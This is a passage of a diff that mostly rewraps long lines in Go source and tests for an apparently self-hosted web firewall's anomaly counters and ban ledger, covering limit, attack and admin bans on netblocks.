cmp.Compare(a.ASN, b.ASN),
|
||||||
|
cmp.Compare(a.Name, b.Name),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
return counters
|
return counters
|
||||||
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
for _, named := range p.NamedNetblocks {
|
for _, named := range p.NamedNetblocks {
|
||||||
if named.Netblock.Contains(client) {
|
if named.Netblock.Contains(client) {
|
||||||
all = append(all, scope{
|
all = append(all, scope{
|
||||||
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
key{
|
||||||
|
scope: ScopeWatchedNet,
|
||||||
|
netblock: named.Netblock,
|
||||||
|
name: named.Name,
|
||||||
|
}, p.Watch,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -316,7 +330,12 @@ func (c *Counter) add(
|
|||||||
|
|
||||||
counted := count.buckets.Add(now, count.length, n)
|
counted := count.buckets.Add(now, count.length, n)
|
||||||
if !passed && counted > float64(threshold) {
|
if !passed && counted > float64(threshold) {
|
||||||
first = overThreshold{count.kind, count.window, counted, threshold}
|
first = overThreshold{
|
||||||
|
count.kind,
|
||||||
|
count.window,
|
||||||
|
counted,
|
||||||
|
threshold,
|
||||||
|
}
|
||||||
passed = true
|
passed = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
|
|||||||
|
|
||||||
// key returns what tells c from the other counters.
|
// key returns what tells c from the other counters.
|
||||||
func (c *Counter) key() key {
|
func (c *Counter) key() key {
|
||||||
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
|
return key{
|
||||||
|
scope: c.Scope,
|
||||||
|
netblock: c.Netblock,
|
||||||
|
asn: c.ASN,
|
||||||
|
name: c.Name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// counter returns a counter for k, with nothing counted yet.
|
// counter returns a counter for k, with nothing counted yet.
|
||||||
func (k key) counter() *Counter {
|
func (k key) counter() *Counter {
|
||||||
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
|
return &Counter{
|
||||||
|
Scope: k.scope,
|
||||||
|
Netblock: k.netblock,
|
||||||
|
ASN: k.asn,
|
||||||
|
Name: k.name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// alertFor returns the anomaly alert for o, a count over its threshold in
|
// alertFor returns the anomaly alert for o, a count over its threshold in
|
||||||
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
|||||||
ASN: r.ASN,
|
ASN: r.ASN,
|
||||||
ASName: r.ASName,
|
ASName: r.ASName,
|
||||||
Country: r.Country,
|
Country: r.Country,
|
||||||
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
|
Reason: fmt.Sprintf(
|
||||||
counted, o.threshold),
|
"%s per %s of %s over the threshold of %d",
|
||||||
|
o.kind,
|
||||||
|
o.window,
|
||||||
|
counted,
|
||||||
|
o.threshold,
|
||||||
|
),
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
|
{
|
||||||
|
Name: "office",
|
||||||
|
Netblock: office,
|
||||||
|
}, {Name: "hq", Netblock: office},
|
||||||
},
|
},
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
})
|
})
|
||||||
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if after.Suppressed() != 9 {
|
if after.Suppressed() != 9 {
|
||||||
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
|
t.Errorf(
|
||||||
|
"after loading, %d alerts are held back, want 9",
|
||||||
|
after.Suppressed(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
|||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
||||||
!holds(got, maxCounters) {
|
!holds(got, maxCounters) {
|
||||||
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
|
t.Errorf(
|
||||||
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
|
"%d counters, holding the first client %v, the second %v and the "+
|
||||||
holds(got, 1), holds(got, maxCounters), maxCounters)
|
"new one %v, want %d, the first and the new one",
|
||||||
|
len(got),
|
||||||
|
holds(got, 0),
|
||||||
|
holds(got, 1),
|
||||||
|
holds(got, maxCounters),
|
||||||
|
maxCounters,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
|
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
|
Net: anomaly.Thresholds{
|
||||||
|
RequestsPerMinute: 1000,
|
||||||
|
RequestsPerHour: 1000,
|
||||||
|
},
|
||||||
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
})
|
})
|
||||||
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
|
|||||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||||
}
|
}
|
||||||
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
||||||
got, want) {
|
got,
|
||||||
|
want,
|
||||||
|
) {
|
||||||
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
|
|||||||
|
|
||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if !holds(got, 0) || holds(got, maxCounters/2) {
|
if !holds(got, 0) || holds(got, maxCounters/2) {
|
||||||
t.Errorf("holding the first client of the file %v, and the first counted in "+
|
t.Errorf(
|
||||||
"the minute before %v, want only the first", holds(got, 0),
|
"holding the first client of the file %v, and the first counted in "+
|
||||||
holds(got, maxCounters/2))
|
"the minute before %v, want only the first",
|
||||||
|
holds(got, 0),
|
||||||
|
holds(got, maxCounters/2),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
|
|||||||
// request returns a request from client number i, an address in
|
// request returns a request from client number i, an address in
|
||||||
// 10.0.0.0/8.
|
// 10.0.0.0/8.
|
||||||
func request(i int) anomaly.Request {
|
func request(i int) anomaly.Request {
|
||||||
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
client := netip.MustParseAddr(
|
||||||
|
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
|
||||||
|
)
|
||||||
|
|
||||||
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
|
return anomaly.Request{
|
||||||
|
Client: client,
|
||||||
|
ClientGroup: netip.PrefixFrom(client, 32),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// holds reports whether counters hold the counter of client number i.
|
// holds reports whether counters hold the counter of client number i.
|
||||||
|
|||||||
+146
-42
@@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
// then one with an admin's ban before a ban sww made: the one
|
// then one with an admin's ban before a ban sww made: the one
|
||||||
// ban counted toward MaxBans.
|
// ban counted toward MaxBans.
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
{
|
||||||
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
|
Netblock: adminsOnly,
|
||||||
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
|
Start: midnight().Add(-3 * time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: adminsOnly,
|
||||||
|
Start: midnight().Add(-2 * time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: both,
|
||||||
|
Start: midnight().Add(-time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
Netblock: both,
|
Netblock: both,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
|
|
||||||
// A new ban drops the ban sww made, and only that one.
|
// A new ban drops the ban sww made, and only that one.
|
||||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
wantBans(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
|
||||||
|
)
|
||||||
|
|
||||||
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
||||||
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
|
t.Errorf(
|
||||||
|
"%s kept %+v, want the admin's ban",
|
||||||
|
both,
|
||||||
|
ledger.Bans(both),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// And the next drops that one.
|
// And the next drops that one.
|
||||||
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
|
wantBans(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||||
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
|||||||
// twice, each time after its last ban has ended.
|
// twice, each time after its last ban has ended.
|
||||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
first, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
// A ban on another netblock fills the ledger, and the netblock's first
|
// A ban on another netblock fills the ledger, and the netblock's first
|
||||||
@@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
limit, _ := ledger.BanForLimit(
|
||||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
|
midnight(),
|
||||||
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
|
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
|
||||||
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
|
)
|
||||||
bans.Notes{RuleID: "git-dir", Target: "path"})
|
byteLimit, _ := ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("203.0.113.3/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
|
||||||
|
)
|
||||||
|
attack, _ := ledger.BanForAttack(
|
||||||
|
netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{RuleID: "git-dir", Target: "path"},
|
||||||
|
)
|
||||||
|
|
||||||
for _, tc := range []struct{ got, want string }{
|
for _, tc := range []struct{ got, want string }{
|
||||||
{limit.Reason, "requests per minute over the limit of 1000"},
|
{limit.Reason, "requests per minute over the limit of 1000"},
|
||||||
@@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
t.Errorf(
|
||||||
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
||||||
|
ban.Expires.Sub(ban.Start),
|
||||||
|
ban.Notes.EarlierBans,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
||||||
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want the lifted ban and the new one",
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// A permanent ban for a clear sign of attack, lifted.
|
// A permanent ban for a clear sign of attack, lifted.
|
||||||
@@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
|
|
||||||
active, permanent := ledger.Count(now)
|
active, permanent := ledger.Count(now)
|
||||||
if active != 0 || permanent != 0 {
|
if active != 0 || permanent != 0 {
|
||||||
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
|
t.Errorf(
|
||||||
|
"%d bans are active and %d permanent, want none",
|
||||||
|
active,
|
||||||
|
permanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The next clear sign of attack bans for seven days, as a first does.
|
// The next clear sign of attack bans for seven days, as a first does.
|
||||||
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||||
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
|
t.Errorf(
|
||||||
|
"the next ban for an attack ends at %s, want seven days on",
|
||||||
|
ban.Expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
made, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
atStart := bans.Ban{
|
atStart := bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
ledger.Load([]bans.Ban{made, atStart})
|
ledger.Load([]bans.Ban{made, atStart})
|
||||||
|
|
||||||
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
||||||
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
t.Fatalf(
|
||||||
|
"%d bans made by an admin after the start's, want none",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The admin keeps the ban sww made, keeps the one read at the
|
// The admin keeps the ban sww made, keeps the one read at the
|
||||||
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
}
|
}
|
||||||
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
||||||
|
|
||||||
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
|
if ledger.Made(bans.CauseAdmin) != 1 ||
|
||||||
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
|
ledger.Made(bans.CauseLimit) != 1 {
|
||||||
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
|
t.Errorf(
|
||||||
|
"%d bans made by an admin and %d for a limit, want 1 of each",
|
||||||
|
ledger.Made(bans.CauseAdmin),
|
||||||
|
ledger.Made(bans.CauseLimit),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
||||||
}
|
}
|
||||||
|
|
||||||
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
got := ledger.BanForAdmin(
|
||||||
"probes for logins")
|
netip.MustParsePrefix("203.0.113.9/24"),
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
"probes for logins",
|
||||||
|
)
|
||||||
if !reflect.DeepEqual(got, want) {
|
if !reflect.DeepEqual(got, want) {
|
||||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// It refuses once the ban for the limit has ended.
|
// It refuses once the ban for the limit has ended.
|
||||||
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
ban, banned, _ := ledger.Find(
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(2*time.Hour),
|
||||||
|
)
|
||||||
if !banned || !reflect.DeepEqual(ban, want) {
|
if !banned || !reflect.DeepEqual(ban, want) {
|
||||||
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
t.Errorf(
|
||||||
ban, banned, want)
|
"after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
now := midnight().Add(time.Minute)
|
now := midnight().Add(time.Minute)
|
||||||
|
|
||||||
lifted := ledger.Lift(client, now)
|
lifted := ledger.Lift(client, now)
|
||||||
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
|
if len(lifted) != 2 || lifted[0].Lifted != now ||
|
||||||
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
|
lifted[1].Lifted != now {
|
||||||
|
t.Errorf(
|
||||||
|
"lifted %+v, want the two active bans covering the client",
|
||||||
|
lifted,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
covering := ledger.Covering(client)
|
covering := ledger.Covering(client)
|
||||||
if len(covering) != 3 || covering[0].Netblock != wide ||
|
if len(covering) != 3 || covering[0].Netblock != wide ||
|
||||||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
||||||
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
|
t.Errorf(
|
||||||
"of its own, the earlier not lifted", covering)
|
"the bans covering the client are %+v, want the /24's and both "+
|
||||||
|
"of its own, the earlier not lifted",
|
||||||
|
covering,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// With none active, nothing is lifted or changed.
|
// With none active, nothing is lifted or changed.
|
||||||
@@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParseAddr("203.0.113.9")
|
client := netip.MustParseAddr("203.0.113.9")
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// The temporary ban is made first, so that its netblock is looked at first.
|
// The temporary ban is made first, so that its netblock is looked at first.
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
"for good")
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
ledger.BanForAdmin(
|
||||||
|
netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
|
midnight(),
|
||||||
|
time.Time{},
|
||||||
|
"for good",
|
||||||
|
)
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||||
}
|
}
|
||||||
@@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||||
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
ledger.BanForAdmin(
|
||||||
"for an hour")
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
midnight().Add(time.Hour),
|
||||||
|
"for an hour",
|
||||||
|
)
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
wantPermanentBan(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(2*time.Minute),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||||
@@ -382,7 +481,12 @@ func wantPermanentBan(
|
|||||||
} {
|
} {
|
||||||
ban, banned, _ := look(client, now)
|
ban, banned, _ := look(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
t.Errorf(
|
||||||
|
"%s returned %+v and banned %v, want a permanent ban",
|
||||||
|
name,
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+93
-21
@@ -123,7 +123,7 @@ type Notes struct {
|
|||||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||||
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
|
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||||
// client sent it.
|
// client sent it.
|
||||||
RuleID string `json:"rule_id,omitempty"`
|
RuleID string `json:"rule_id,omitempty"`
|
||||||
Target string `json:"target,omitempty"`
|
Target string `json:"target,omitempty"`
|
||||||
@@ -199,7 +199,7 @@ type Ledger struct {
|
|||||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||||
// netblocks that have been banned. Check looks for a ban at each of
|
// netblocks that have been banned. Check looks for a ban at each of
|
||||||
// them, so that a ban read from bans.json refuses every client in its
|
// them, so that a ban read from bans.json refuses every client in its
|
||||||
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
|
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||||
// or another length of an IPv6 client's netblock.
|
// or another length of an IPv6 client's netblock.
|
||||||
v4Lengths, v6Lengths []int
|
v4Lengths, v6Lengths []int
|
||||||
}
|
}
|
||||||
@@ -209,7 +209,10 @@ func New(params Params) *Ledger {
|
|||||||
// The ledger drops bans itself, and never those whose cause is
|
// The ledger drops bans itself, and never those whose cause is
|
||||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||||
// own: it keeps the netblocks in the order they were last seen.
|
// own: it keeps the netblocks in the order they were last seen.
|
||||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
|
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
||||||
|
math.MaxInt,
|
||||||
|
nil,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
func (l *Ledger) BanForLimit(
|
func (l *Ledger) BanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
